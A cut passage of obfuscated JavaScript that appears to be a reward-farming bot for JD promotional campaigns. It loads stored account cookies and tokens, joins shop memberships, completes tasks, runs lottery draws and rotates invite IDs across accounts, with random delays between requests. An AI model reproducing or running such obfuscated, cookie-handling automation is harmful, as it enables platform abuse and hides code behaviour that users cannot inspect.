]+)(?=;?)/)[0x1]);$[_0x44c0('3b')]=_0x6653d8[_0x44c0('3c')](_0x5f4d04,0x1);_0x6653d8[_0x44c0('3d')](getUA);console[_0x44c0('7')](_0x44c0('3e')+$[_0x44c0('3b')]+'】'+$[_0x44c0('38')]+_0x44c0('3f'));await _0x6653d8[_0x44c0('40')](run);if(_0x6653d8[_0x44c0('41')](_0x5f4d04,0x0)&&!$[_0x44c0('42')])break;if($[_0x44c0('15')])break;}}if($[_0x44c0('15')]){if(_0x6653d8[_0x44c0('43')](_0x6653d8[_0x44c0('44')],_0x6653d8[_0x44c0('44')])){if(resp[_0x44c0('45')]&&_0x6653d8[_0x44c0('46')](resp[_0x44c0('45')],0x1ed)){console[_0x44c0('7')](_0x6653d8[_0x44c0('47')]);$[_0x44c0('15')]=!![];}console[_0x44c0('7')](''+$[_0x44c0('48')](err));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{let _0x302c9f=_0x6653d8[_0x44c0('4a')];$[_0x44c0('21')]($[_0x44c0('22')],'',''+_0x302c9f);if($[_0x44c0('0')]())await notify[_0x44c0('4b')](''+$[_0x44c0('22')],''+_0x302c9f);}}})()[_0x44c0('4c')](_0x535918=>$[_0x44c0('4d')](_0x535918))[_0x44c0('4e')](()=>$[_0x44c0('4f')]());async function run(){var _0x3283b2={'onQXD':function(_0x5f0000,_0x4976e1){return _0x5f0000||_0x4976e1;},'KKAsH':_0x44c0('50'),'ajVdI':function(_0x32b400,_0xebfffa){return _0x32b400<_0xebfffa;},'Yiugm':function(_0x5cb2a8,_0x485c68){return _0x5cb2a8*_0x485c68;},'CDgxt':_0x44c0('51'),'CEmwj':function(_0x670b4){return _0x670b4();},'SnumJ':function(_0x334ba6){return _0x334ba6();},'DEYcO':function(_0x2ef311,_0x341601){return _0x2ef311==_0x341601;},'rJtSD':_0x44c0('52'),'nPTXD':function(_0x1de0f2){return _0x1de0f2();},'GFpdz':function(_0x3b53bc){return _0x3b53bc();},'LZiir':function(_0xab1bc3,_0x3f5c0c){return _0xab1bc3===_0x3f5c0c;},'IHUey':_0x44c0('53'),'ogeEf':function(_0x394d3b,_0x160f9b){return _0x394d3b==_0x160f9b;},'mLFVA':function(_0x10e9d6){return _0x10e9d6();},'hHWbv':_0x44c0('54'),'xIrHy':function(_0x482fd7){return _0x482fd7();},'lXdyp':_0x44c0('55'),'XBXhN':function(_0x56fa76){return _0x56fa76();},'cbdEP':function(_0xf7e6d6,_0x354bf){return _0xf7e6d6(_0x354bf);},'AVCKX':function(_0x1aaade,_0x21490e,_0x55fbe7){return _0x1aaade(_0x21490e,_0x55fbe7);},'emIvF':function(_0x43cbbe,_0x2c9eac){return _0x43cbbe+_0x2c9eac;},'KKTXm':function(_0x1fd320,_0x1c31fd){return _0x1fd320===_0x1c31fd;},'XanNx':_0x44c0('56'),'WTQXf':function(_0x5c7777,_0xa65b72){return _0x5c7777==_0xa65b72;},'aWUOs':function(_0x37191d,_0x2d2d7f){return _0x37191d!==_0x2d2d7f;},'TWQiz':_0x44c0('57'),'ADpYQ':function(_0x52b05b,_0xacb880,_0x3c0ac2){return _0x52b05b(_0xacb880,_0x3c0ac2);},'aywiV':function(_0x15434d,_0x19aaea){return _0x15434d+_0x19aaea;},'ZAUvm':function(_0x3bfde0){return _0x3bfde0();},'TmbYo':function(_0x74bce7,_0x52acb2,_0x4d22c5){return _0x74bce7(_0x52acb2,_0x4d22c5);},'IXUhe':function(_0x381e87,_0x563c35){return _0x381e87+_0x563c35;},'RDXar':function(_0x22dee9){return _0x22dee9();},'BmYUh':function(_0x6e95a4,_0x1ca652,_0x14067c){return _0x6e95a4(_0x1ca652,_0x14067c);},'UtRJP':function(_0x514ea6,_0x2ce708){return _0x514ea6+_0x2ce708;},'OJSZE':function(_0x5cac20,_0x58ba55,_0x2dc1ee){return _0x5cac20(_0x58ba55,_0x2dc1ee);},'hfDjO':function(_0x2e35a9,_0x1cd486,_0x1a3ca1,_0x35dd2e){return _0x2e35a9(_0x1cd486,_0x1a3ca1,_0x35dd2e);},'LZHUP':_0x44c0('58'),'mnOrz':function(_0x24c7fa,_0x2c319b,_0x3254ec){return _0x24c7fa(_0x2c319b,_0x3254ec);},'DSJAR':function(_0x291e78,_0x4aff93,_0x403c22,_0x587826){return _0x291e78(_0x4aff93,_0x403c22,_0x587826);},'XpTxA':function(_0x41e3c5,_0x39c81b){return _0x41e3c5+_0x39c81b;},'TZMEb':_0x44c0('59'),'FuXLk':function(_0x303e08,_0xb85472){return _0x303e08+_0xb85472;},'mcCQv':function(_0x3e4f17,_0x66e96b){return _0x3e4f17*_0x66e96b;},'FLyka':function(_0x5c2fac,_0x11823b,_0x3558fa,_0x4d7d4d){return _0x5c2fac(_0x11823b,_0x3558fa,_0x4d7d4d);},'npOBz':_0x44c0('5a'),'ZgQVg':function(_0x5d6b0a,_0x3c4dd9){return _0x5d6b0a+_0x3c4dd9;},'CAWHv':function(_0x35420b,_0x3ef3a2,_0x22db58,_0xcdf1df){return _0x35420b(_0x3ef3a2,_0x22db58,_0xcdf1df);},'ftRlb':_0x44c0('5b'),'eYpWL':function(_0x33c0ab,_0x43a8fc,_0x169284){return _0x33c0ab(_0x43a8fc,_0x169284);},'qbIoN':function(_0x702183,_0x699bd4){return _0x702183+_0x699bd4;},'UbPOR':function(_0x865343,_0xcb7ebf){return _0x865343+_0xcb7ebf;},'vqhWr':_0x44c0('1a'),'mgTWH':_0x44c0('5c'),'XUODi':function(_0x33f4e0,_0x16f36b,_0x2a155f){return _0x33f4e0(_0x16f36b,_0x2a155f);},'plsFA':_0x44c0('5d'),'ekesh':function(_0x21b1d2,_0x472e17,_0x53fdbe){return _0x21b1d2(_0x472e17,_0x53fdbe);},'UMtOS':function(_0x9e5f38,_0x1c2744){return _0x9e5f38+_0x1c2744;},'CidAW':function(_0x421d2b,_0x10bcd2){return _0x421d2b*_0x10bcd2;},'YyodU':function(_0x551566){return _0x551566();},'KjLYm':function(_0x44fed7,_0x45acd6){return _0x44fed7+_0x45acd6;},'IjLiy':function(_0x1de105,_0x2a46b1){return _0x1de105!==_0x2a46b1;},'qEmEu':_0x44c0('5e'),'rrmmZ':_0x44c0('5f'),'kfWcM':function(_0x181207,_0x4629e9,_0x44d5a9){return _0x181207(_0x4629e9,_0x44d5a9);},'BoipU':function(_0x44e697,_0x3395de,_0x11c4da){return _0x44e697(_0x3395de,_0x11c4da);},'wxPaO':function(_0x4bbe6f,_0x101d26){return _0x4bbe6f>_0x101d26;},'sWgZH':function(_0x286207,_0x44fb4e){return _0x286207!==_0x44fb4e;},'qsULc':_0x44c0('60'),'cyUqI':_0x44c0('61'),'srEyS':function(_0x56d83a,_0x2cc3cd){return _0x56d83a(_0x2cc3cd);},'pqsyf':_0x44c0('62'),'cTEkb':function(_0x5b30b6,_0x30bf78,_0x3ad387){return _0x5b30b6(_0x30bf78,_0x3ad387);},'Hymkf':function(_0x1d9c6d,_0x402b85){return _0x1d9c6d+_0x402b85;},'DOipt':_0x44c0('63'),'ntEmp':function(_0x1b3d3a,_0x5a141d){return _0x1b3d3a==_0x5a141d;},'mUjKK':function(_0x19abe7,_0x7f0a8a){return _0x19abe7===_0x7f0a8a;},'VFXGZ':_0x44c0('64'),'fGQEP':_0x44c0('65'),'NKcYv':function(_0x170d9e,_0x1ba808){return _0x170d9e+_0x1ba808;},'MAtTo':function(_0x577b8d,_0xcd9ae8){return _0x577b8d+_0xcd9ae8;},'SRCfQ':function(_0x23f82a,_0x59de5d,_0x28bd2d){return _0x23f82a(_0x59de5d,_0x28bd2d);},'lLksY':function(_0x155c57,_0xc3b7bb){return _0x155c57*_0xc3b7bb;},'giTkb':function(_0x5022f4){return _0x5022f4();},'pqJnn':_0x44c0('66'),'uHNSV':function(_0x4d3488,_0x428a94){return _0x4d3488!==_0x428a94;},'zciQc':_0x44c0('67'),'LEQNx':_0x44c0('68'),'smeIZ':_0x44c0('69'),'dtmiT':function(_0x3875fe,_0x5e3e85,_0x225cd0){return _0x3875fe(_0x5e3e85,_0x225cd0);},'msgqw':function(_0x3be2e6,_0x5565d3){return _0x3be2e6===_0x5565d3;},'ZdJuU':function(_0x45ebec,_0x456298){return _0x45ebec==_0x456298;},'WhrRU':_0x44c0('1d'),'SaWUa':function(_0x229c1c,_0x514f9d,_0x48d4ce){return _0x229c1c(_0x514f9d,_0x48d4ce);},'BWNZs':function(_0x32f527,_0x30cf55){return _0x32f527*_0x30cf55;}};try{lz_jdpin_token='';$[_0x44c0('6a')]='';$[_0x44c0('6b')]='';await _0x3283b2[_0x44c0('6c')](getCk);if(_0x3283b2[_0x44c0('6d')](activityCookie,'')){console[_0x44c0('7')](_0x44c0('6e'));return;}await _0x3283b2[_0x44c0('6c')](getToken);if(_0x3283b2[_0x44c0('6d')]($[_0x44c0('6a')],'')){console[_0x44c0('7')](_0x3283b2[_0x44c0('6f')]);return;}await _0x3283b2[_0x44c0('70')](getSimpleActInfoVo);$[_0x44c0('71')]='';await _0x3283b2[_0x44c0('72')](getMyPing);if(_0x3283b2[_0x44c0('73')]($[_0x44c0('6b')],'')||_0x3283b2[_0x44c0('6d')](typeof $[_0x44c0('74')],_0x3283b2[_0x44c0('75')])||_0x3283b2[_0x44c0('76')](typeof $[_0x44c0('77')],_0x3283b2[_0x44c0('75')])){$[_0x44c0('7')](_0x3283b2[_0x44c0('78')]);return;}await _0x3283b2[_0x44c0('79')](accessLogWithAD);$[_0x44c0('7a')]=_0x3283b2[_0x44c0('7b')];await _0x3283b2[_0x44c0('79')](getUserInfo);$[_0x44c0('42')]='';await _0x3283b2[_0x44c0('7c')](getActorUuid);if(!$[_0x44c0('42')]){console[_0x44c0('7')](_0x3283b2[_0x44c0('7d')]);return;}await _0x3283b2[_0x44c0('7e')](drawContent);$[_0x44c0('7f')]='';await _0x3283b2[_0x44c0('80')](checkOpenCard,0x2);await $[_0x44c0('81')](_0x3283b2[_0x44c0('82')](parseInt,_0x3283b2[_0x44c0('83')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));console[_0x44c0('7')](_0x44c0('86')+$[_0x44c0('87')]);$[_0x44c0('88')]=$[_0x44c0('87')]?!![]:![];if(!$[_0x44c0('87')]&&$[_0x44c0('7f')]&&!$[_0x44c0('15')]){for(let _0x2dc157 of $[_0x44c0('7f')]&&$[_0x44c0('7f')]||[]){if(_0x3283b2[_0x44c0('89')](_0x3283b2[_0x44c0('8a')],_0x3283b2[_0x44c0('8a')])){if(_0x3283b2[_0x44c0('8b')](_0x2dc157[_0x44c0('8c')],![])){if(_0x3283b2[_0x44c0('8d')](_0x3283b2[_0x44c0('8e')],_0x3283b2[_0x44c0('8e')])){e=_0x3283b2[_0x44c0('8f')](e,0x20);let _0x481d7b=_0x3283b2[_0x44c0('90')],_0x3dd8a6=_0x481d7b[_0x44c0('37')],_0x471ed8='';for(i=0x0;_0x3283b2[_0x44c0('91')](i,e);i++)_0x471ed8+=_0x481d7b[_0x44c0('92')](Math[_0x44c0('93')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),_0x3dd8a6)));return _0x471ed8;}else{await _0x3283b2[_0x44c0('80')](join,_0x2dc157[_0x44c0('77')]);await $[_0x44c0('81')](_0x3283b2[_0x44c0('94')](parseInt,_0x3283b2[_0x44c0('95')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));await _0x3283b2[_0x44c0('96')](drawContent);await _0x3283b2[_0x44c0('80')](checkOpenCard,0x1);}}}else{console[_0x44c0('7')](data);}}await $[_0x44c0('81')](_0x3283b2[_0x44c0('97')](parseInt,_0x3283b2[_0x44c0('98')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0xbb8),0xa));await _0x3283b2[_0x44c0('99')](drawContent);await _0x3283b2[_0x44c0('80')](checkOpenCard,0x2);console[_0x44c0('7')](_0x44c0('86')+$[_0x44c0('87')]);await $[_0x44c0('81')](_0x3283b2[_0x44c0('9a')](parseInt,_0x3283b2[_0x44c0('9b')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));}await _0x3283b2[_0x44c0('99')](getInitInfo);if($[_0x44c0('15')])return;await $[_0x44c0('81')](_0x3283b2[_0x44c0('9c')](parseInt,_0x3283b2[_0x44c0('9b')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));console[_0x44c0('7')](_0x44c0('9d')+$[_0x44c0('9e')]);if(!$[_0x44c0('9e')])await _0x3283b2[_0x44c0('9f')](saveTask,_0x3283b2[_0x44c0('a0')],0x17,0x17);if(!$[_0x44c0('9e')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('a1')](parseInt,_0x3283b2[_0x44c0('9b')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));console[_0x44c0('7')](_0x44c0('a2')+$[_0x44c0('a3')]);if(!$[_0x44c0('a3')])await _0x3283b2[_0x44c0('a4')](saveTask,'签到',0x0,0x0);if(!$[_0x44c0('a3')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('a1')](parseInt,_0x3283b2[_0x44c0('a5')](_0x3283b2[_0x44c0('84')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));if(!$[_0x44c0('a6')])await _0x3283b2[_0x44c0('a4')](saveTask,_0x3283b2[_0x44c0('a7')],0x6,0x6);if(!$[_0x44c0('a6')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('a1')](parseInt,_0x3283b2[_0x44c0('a8')](_0x3283b2[_0x44c0('a9')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));if(!$[_0x44c0('aa')])await _0x3283b2[_0x44c0('ab')](saveTask,_0x3283b2[_0x44c0('ac')],0xd,0x1);if(!$[_0x44c0('aa')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('a1')](parseInt,_0x3283b2[_0x44c0('ad')](_0x3283b2[_0x44c0('a9')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));if(!$[_0x44c0('ae')])await _0x3283b2[_0x44c0('af')](saveTask,_0x3283b2[_0x44c0('b0')],0xc,0x1);if(!$[_0x44c0('ae')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('b1')](parseInt,_0x3283b2[_0x44c0('b2')](_0x3283b2[_0x44c0('a9')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));console[_0x44c0('7')](_0x44c0('b3')+$[_0x44c0('b4')]);if(_0x3283b2[_0x44c0('8b')](_0x3283b2[_0x44c0('b5')](guaopencard_addSku,''),_0x3283b2[_0x44c0('b6')])){if(!$[_0x44c0('b4')])await _0x3283b2[_0x44c0('af')](saveTask,_0x3283b2[_0x44c0('b7')],0x15,0x15);if(!$[_0x44c0('b4')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('b8')](parseInt,_0x3283b2[_0x44c0('b5')](_0x3283b2[_0x44c0('a9')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));}else console[_0x44c0('7')](_0x3283b2[_0x44c0('b9')]);let _0x5d0039=0x1;await $[_0x44c0('81')](_0x3283b2[_0x44c0('ba')](parseInt,_0x3283b2[_0x44c0('bb')](_0x3283b2[_0x44c0('bc')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));await _0x3283b2[_0x44c0('bd')](getActorUuid);console[_0x44c0('7')](_0x44c0('be')+$[_0x44c0('bf')]+_0x44c0('c0')+$[_0x44c0('c1')]+_0x44c0('c2')+$[_0x44c0('c3')]);let _0x37c7d1=0x0;if(_0x3283b2[_0x44c0('8d')](_0x3283b2[_0x44c0('c4')](guaopencard_draw,''),'0')){if(_0x3283b2[_0x44c0('c5')](_0x3283b2[_0x44c0('c6')],_0x3283b2[_0x44c0('c7')])){let _0x45f166=_0x3283b2[_0x44c0('c8')](parseInt,$[_0x44c0('c3')],0xa);guaopencard_draw=_0x3283b2[_0x44c0('c9')](parseInt,guaopencard_draw,0xa);if(_0x3283b2[_0x44c0('ca')](_0x45f166,guaopencard_draw))_0x45f166=guaopencard_draw;console[_0x44c0('7')](_0x44c0('cb')+_0x45f166);for(j=0x1;_0x45f166--&&!![];j++){if(_0x3283b2[_0x44c0('cc')](_0x3283b2[_0x44c0('cd')],_0x3283b2[_0x44c0('ce')])){_0x37c7d1=0x1;console[_0x44c0('7')]('第'+j+'次');await _0x3283b2[_0x44c0('cf')](draw,_0x3283b2[_0x44c0('d0')]);await $[_0x44c0('81')](_0x3283b2[_0x44c0('d1')](parseInt,_0x3283b2[_0x44c0('d2')](_0x3283b2[_0x44c0('bc')](Math[_0x44c0('85')](),0x3e8),0xfa0),0xa));if($[_0x44c0('15')])break;}else{$[_0x44c0('4d')](e,resp);}}}else{cookiesArr[_0x44c0('3')](jdCookieNode[item]);}}else console[_0x44c0('7')](_0x3283b2[_0x44c0('d3')]);if(_0x3283b2[_0x44c0('d4')](_0x37c7d1,0x1)){if(_0x3283b2[_0x44c0('d5')](_0x3283b2[_0x44c0('d6')],_0x3283b2[_0x44c0('d7')])){$[_0x44c0('7')](_0x3283b2[_0x44c0('78')]);return;}else{await $[_0x44c0('81')](_0x3283b2[_0x44c0('d1')](parseInt,_0x3283b2[_0x44c0('d8')](_0x3283b2[_0x44c0('bc')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));await _0x3283b2[_0x44c0('bd')](getActorUuid);}}if($[_0x44c0('15')])return;await $[_0x44c0('81')](_0x3283b2[_0x44c0('d1')](parseInt,_0x3283b2[_0x44c0('d9')](_0x3283b2[_0x44c0('bc')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));await _0x3283b2[_0x44c0('bd')](getDrawRecordHasCoupon);await $[_0x44c0('81')](_0x3283b2[_0x44c0('da')](parseInt,_0x3283b2[_0x44c0('d9')](_0x3283b2[_0x44c0('db')](Math[_0x44c0('85')](),0x3e8),0x7d0),0xa));await _0x3283b2[_0x44c0('dc')](getShareRecord);$[_0x44c0('7')]($[_0x44c0('42')]);$[_0x44c0('7')](_0x3283b2[_0x44c0('d9')](_0x3283b2[_0x44c0('dd')],$[_0x44c0('30')]));if($[_0x44c0('42')]){$[_0x44c0('2f')][_0x44c0('3')]({'shareUuid':$[_0x44c0('42')],'count':$[_0x44c0('de')],'index':$[_0x44c0('3b')]});}else if(_0x3283b2[_0x44c0('d5')]($[_0x44c0('3b')],0x1)){if(_0x3283b2[_0x44c0('df')](_0x3283b2[_0x44c0('e0')],_0x3283b2[_0x44c0('e1')])){console[_0x44c0('7')](_0x3283b2[_0x44c0('e2')]);return;}else{_0x3283b2[_0x44c0('e3')](resolve);}}if((!$[_0x44c0('9e')]||!$[_0x44c0('88')])&&_0x3283b2[_0x44c0('df')]($[_0x44c0('3b')],0x1))_0x3283b2[_0x44c0('e4')](updateShareUuid,$[_0x44c0('30')],0x1);if(_0x3283b2[_0x44c0('e5')]($[_0x44c0('3b')],0x1)||_0x3283b2[_0x44c0('e6')]($[_0x44c0('30')],_0x3283b2[_0x44c0('e7')]))_0x3283b2[_0x44c0('e4')](updateShareUuid,$[_0x44c0('30')],0x0);await $[_0x44c0('81')](_0x3283b2[_0x44c0('e8')](parseInt,_0x3283b2[_0x44c0('d9')](_0x3283b2[_0x44c0('e9')](Math[_0x44c0('85')](),0x3e8),0x1388),0xa));if(!$[_0x44c0('9e')])await $[_0x44c0('81')](_0x3283b2[_0x44c0('e8')](parseInt,_0x3283b2[_0x44c0('d9')](_0x3283b2[_0x44c0('e9')](Math[_0x44c0('85')](),0x3e8),0x2710),0xa));}catch(_0x105a60){console[_0x44c0('7')](_0x105a60);}}function updateShareUuid(_0x1fa8f5,_0x38b6e5){var _0x5d861e={'YRRKI':function(_0x1cd95a){return _0x1cd95a();},'rSrXn':function(_0x3b8654,_0x380c4f){return _0x3b8654===_0x380c4f;},'nMPzd':_0x44c0('ea'),'sqfsf':function(_0x12886d,_0x5da29c){return _0x12886d==_0x5da29c;},'EdqTH':function(_0x749a8f,_0xb77dbd){return _0x749a8f==_0xb77dbd;},'STKrm':function(_0x246f1a,_0x1a9e9d){return _0x246f1a>=_0x1a9e9d;},'KUawk':function(_0x1d08f4,_0x5d4113){return _0x1d08f4!==_0x5d4113;},'vjpBb':_0x44c0('eb'),'FvNDi':_0x44c0('ec'),'MczIt':_0x44c0('ed'),'esngq':function(_0x15c4ad,_0x18a1af){return _0x15c4ad<_0x18a1af;},'xflGl':function(_0x3380ff,_0x5208cc){return _0x3380ff===_0x5208cc;},'aCLPo':_0x44c0('ee')};let _0x322e9d=0x0;for(let _0x749d61 in $[_0x44c0('2f')]){if(_0x5d861e[_0x44c0('ef')](_0x5d861e[_0x44c0('f0')],_0x5d861e[_0x44c0('f0')])){if($[_0x44c0('2f')][_0x749d61]&&_0x5d861e[_0x44c0('f1')]($[_0x44c0('2f')][_0x749d61][_0x44c0('30')],_0x1fa8f5)){_0x322e9d=_0x749d61;break;}}else{_0x5d861e[_0x44c0('f2')](resolve);}}if(_0x5d861e[_0x44c0('f3')](_0x38b6e5,0x1))$[_0x44c0('2f')][_0x322e9d][_0x44c0('f4')]++;if(_0x5d861e[_0x44c0('f5')]($[_0x44c0('2f')][_0x322e9d][_0x44c0('f4')],0x5)||_0x5d861e[_0x44c0('f3')](_0x38b6e5,0x0)){if(_0x5d861e[_0x44c0('f6')](_0x5d861e[_0x44c0('f7')],_0x5d861e[_0x44c0('f7')])){_0x5d861e[_0x44c0('f2')](resolve);}else{console[_0x44c0('7')](_0x44c0('f8')+$[_0x44c0('2f')][_0x322e9d][_0x44c0('30')]+_0x44c0('f9')+$[_0x44c0('2f')][_0x322e9d][_0x44c0('f4')]);for(let _0x770048 in $[_0x44c0('2f')]){if(_0x5d861e[_0x44c0('f6')](_0x5d861e[_0x44c0('fa')],_0x5d861e[_0x44c0('fb')])){if($[_0x44c0('2f')][_0x770048]&&_0x5d861e[_0x44c0('fc')]($[_0x44c0('2f')][_0x770048][_0x44c0('f4')],0x5)){if(_0x5d861e[_0x44c0('fd')](_0x5d861e[_0x44c0('fe')],_0x5d861e[_0x44c0('fe')])){$[_0x44c0('30')]=$[_0x44c0('2f')][_0x770048][_0x44c0('30')];console[_0x44c0('7')](_0x44c0('ff')+$[_0x44c0('30')]+_0x44c0('100')+$[_0x44c0('2f')][_0x770048][_0x44c0('3b')]+_0x44c0('101')+$[_0x44c0('2f')][_0x770048][_0x44c0('f4')]);break;}else{console[_0x44c0('7')](data);}}}else{console[_0x44c0('7')](_0x44c0('102')+(res[_0x44c0('103')]||''));}}}}}function getDrawRecordHasCoupon(){var _0x4e62ed={'VRXJi':_0x44c0('104'),'VndHA':_0x44c0('17'),'urAzT':function(_0x344b09,_0x136900){return _0x344b09==_0x136900;},'yOxdJ':_0x44c0('105'),'HxwlP':function(_0x57afdf,_0x50b43c){return _0x57afdf!=_0x50b43c;},'LKHSR':function(_0x451654,_0x745fdd){return _0x451654+_0x745fdd;},'bzxvq':function(_0x106439,_0x46c163){return _0x106439!==_0x46c163;},'UccEH':_0x44c0('106'),'QNfDe':_0x44c0('107'),'AsmNl':_0x44c0('108'),'ZFKXQ':function(_0x4baf54,_0x111a53){return _0x4baf54===_0x111a53;},'xAzTl':_0x44c0('109'),'EztWk':_0x44c0('10a'),'gWukn':_0x44c0('10b'),'ATNXC':_0x44c0('10c'),'RuMVo':_0x44c0('10d'),'mCGhp':function(_0x25ceae,_0x54de81){return _0x25ceae!==_0x54de81;},'FCFsl':_0x44c0('10e'),'zgmUP':function(_0x14372a,_0x4a3044){return _0x14372a==_0x4a3044;},'pVGqe':function(_0x162bc3,_0x22fb2d){return _0x162bc3>_0x22fb2d;},'AHReU':function(_0x3c0dd0,_0x245e00){return _0x3c0dd0*_0x245e00;},'aPMZS':function(_0x3e6ee0,_0x2b8ee6,_0xe0b219){return _0x3e6ee0(_0x2b8ee6,_0xe0b219);},'JYtbV':function(_0x1a3765,_0x5bd17f){return _0x1a3765==_0x5bd17f;},'hMfkf':_0x44c0('10f'),'nieWB':_0x44c0('110'),'ibbYk':function(_0x3443a4,_0x26e2df){return _0x3443a4!==_0x26e2df;},'xuuQT':_0x44c0('111'),'ynNDp':function(_0x1dacef){return _0x1dacef();},'kVGuq':function(_0xc805a7,_0x391606){return _0xc805a7==_0x391606;},'KnODj':_0x44c0('53'),'FuyJW':function(_0x405e6e,_0x37b2b9){return _0x405e6e!==_0x37b2b9;},'ZeEJG':_0x44c0('112'),'XlPja':function(_0x2d911e,_0x5be8ef){return _0x2d911e(_0x5be8ef);}};return new Promise(_0x595fc9=>{var _0x18afe6={'FRAht':function(_0x5c099b,_0x40f223){return _0x4e62ed[_0x44c0('113')](_0x5c099b,_0x40f223);},'WHVFk':_0x4e62ed[_0x44c0('114')],'JXLZQ':function(_0x5ed732,_0x8dd984){return _0x4e62ed[_0x44c0('115')](_0x5ed732,_0x8dd984);},'wnasy':_0x4e62ed[_0x44c0('116')],'HkyyD':function(_0x71c248,_0x46cdac){return _0x4e62ed[_0x44c0('113')](_0x71c248,_0x46cdac);},'CTlCu':function(_0x7b0a5d,_0x53ee6c){return _0x4e62ed[_0x44c0('113')](_0x7b0a5d,_0x53ee6c);},'IPXUD':_0x4e62ed[_0x44c0('117')]};if(_0x4e62ed[_0x44c0('118')](_0x4e62ed[_0x44c0('119')],_0x4e62ed[_0x44c0('119')])){var _0x1f5ef9=_0x4e62ed[_0x44c0('11a')][_0x44c0('11b')]('|'),_0xd0428a=0x0;while(!![]){switch(_0x1f5ef9[_0xd0428a++]){case'0':$[_0x44c0('9e')]=res[_0x44c0('11c')][_0x44c0('9e')];continue;case'1':$[_0x44c0('ae')]=res[_0x44c0('11c')][_0x44c0('ae')];continue;case'2':$[_0x44c0('b4')]=res[_0x44c0('11c')][_0x44c0('11d')];continue;case'3':$[_0x44c0('a3')]=res[_0x44c0('11c')][_0x44c0('a3')];continue;case'4':$[_0x44c0('aa')]=res[_0x44c0('11c')][_0x44c0('aa')];continue;case'5':$[_0x44c0('a6')]=res[_0x44c0('11c')][_0x44c0('a6')];continue;}break;}}else{let _0x4b7e6b=_0x44c0('11e')+$[_0x44c0('32')]+_0x44c0('11f')+$[_0x44c0('42')]+_0x44c0('120')+_0x4e62ed[_0x44c0('121')](encodeURIComponent,$[_0x44c0('6b')]);$[_0x44c0('122')](_0x4e62ed[_0x44c0('123')](taskPostUrl,_0x44c0('124'),_0x4b7e6b),async(_0x100363,_0x40088f,_0x326c46)=>{var _0x38f881={'dqutK':_0x4e62ed[_0x44c0('117')],'YVUbY':function(_0x314180,_0x490cc1){return _0x4e62ed[_0x44c0('125')](_0x314180,_0x490cc1);},'LnSgI':_0x4e62ed[_0x44c0('126')],'TURow':function(_0x2eee87,_0x5d0a0d){return _0x4e62ed[_0x44c0('125')](_0x2eee87,_0x5d0a0d);},'TSQgA':function(_0x53dcdb,_0x2514b2){return _0x4e62ed[_0x44c0('115')](_0x53dcdb,_0x2514b2);},'xlytT':function(_0xeb6461,_0x47a113){return _0x4e62ed[_0x44c0('127')](_0xeb6461,_0x47a113);}};try{if(_0x100363){console[_0x44c0('7')](''+$[_0x44c0('48')](_0x100363));console[_0x44c0('7')]($[_0x44c0('22')]+_0x44c0('49'));}else{if(_0x4e62ed[_0x44c0('128')](_0x4e62ed[_0x44c0('129')],_0x4e62ed[_0x44c0('12a')])){res=$[_0x44c0('12b')](_0x326c46);if(_0x4e62ed[_0x44c0('125')](typeof res,_0x4e62ed[_0x44c0('114')])){if(_0x4e62ed[_0x44c0('12c')](res[_0x44c0('12d')],!![])&&res[_0x44c0('11c')]){if(_0x4e62ed[_0x44c0('12c')](_0x4e62ed[_0x44c0('12e')],_0x4e62ed[_0x44c0('12e')])){console[_0x44c0('7')](_0x44c0('12f'));let _0x51c11f=0x0;let _0x49cb96=0x0;let _0x42842c={'dayBeSharedBeans':_0x4e62ed[_0x44c0('130')],'dayShareBeans':'邀请','saveTaskBeans':_0x4e62ed[_0x44c0('131')],'opencardBeans':'开卡','28b3cff467a445c78a4cd5a82b9970b8':'抽奖','9d338d90ec394403b6a4f797c6c4ac32':_0x4e62ed[_0x44c0('132')],'OneClickCoupon':_0x4e62ed[_0x44c0('133')]};for(let _0x368d26 in res[_0x44c0('11c')]){if(_0x4e62ed[_0x44c0('134')](_0x4e62ed[_0x44c0('135')],_0x4e62ed[_0x44c0('135')])){let _0x4aae52=$[_0x44c0('12b')](_0x326c46);if(_0x18afe6[_0x44c0('136')](typeof _0x4aae52,_0x18afe6[_0x44c0('137')])&&_0x18afe6[_0x44c0('136')](_0x4aae52[_0x44c0('138')],0x0)){if(_0x18afe6[_0x44c0('139')](typeof _0x4aae52[_0x44c0('13a')],_0x18afe6[_0x44c0('13b')]))$[_0x44c0('6a')]=_0x4aae52[_0x44c0('13a')];}else if(_0x18afe6[_0x44c0('13c')](typeof _0x4aae52,_0x18afe6[_0x44c0('137')])&&_0x4aae52[_0x44c0('13d')]){console[_0x44c0('7')](_0x44c0('13e')+(_0x4aae52[_0x44c0('13d')]||''));}else{console[_0x44c0('7')](_0x326c46);}}else{let 